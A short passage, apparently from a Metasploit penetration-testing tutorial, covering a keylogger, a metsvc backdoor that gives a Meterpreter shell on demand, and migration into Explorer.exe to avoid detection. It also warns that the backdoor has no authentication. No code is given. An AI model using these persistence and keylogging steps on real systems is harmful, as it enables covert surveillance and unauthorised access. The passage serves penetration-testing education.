Finally, we start the keylogger, wait for some time and dump the output.

Using the metsvc backdoor, you can gain a Meterpreter shell at any point.

One word of warning here before we go any further. Metsvc as shown here requires no authentication. This means that anyone that gains access to the port could access your back door! This is not a good thing if you are conducting a penetration test, as this could be a significant risk. In a real world situation, you would either alter the source to require authentication, or filter out remote connections to the port through some other method.

First, we exploit the remote system and migrate to the ‘Explorer.exe’ process in case the user notices the exploited service is not responding and decides to kill it.
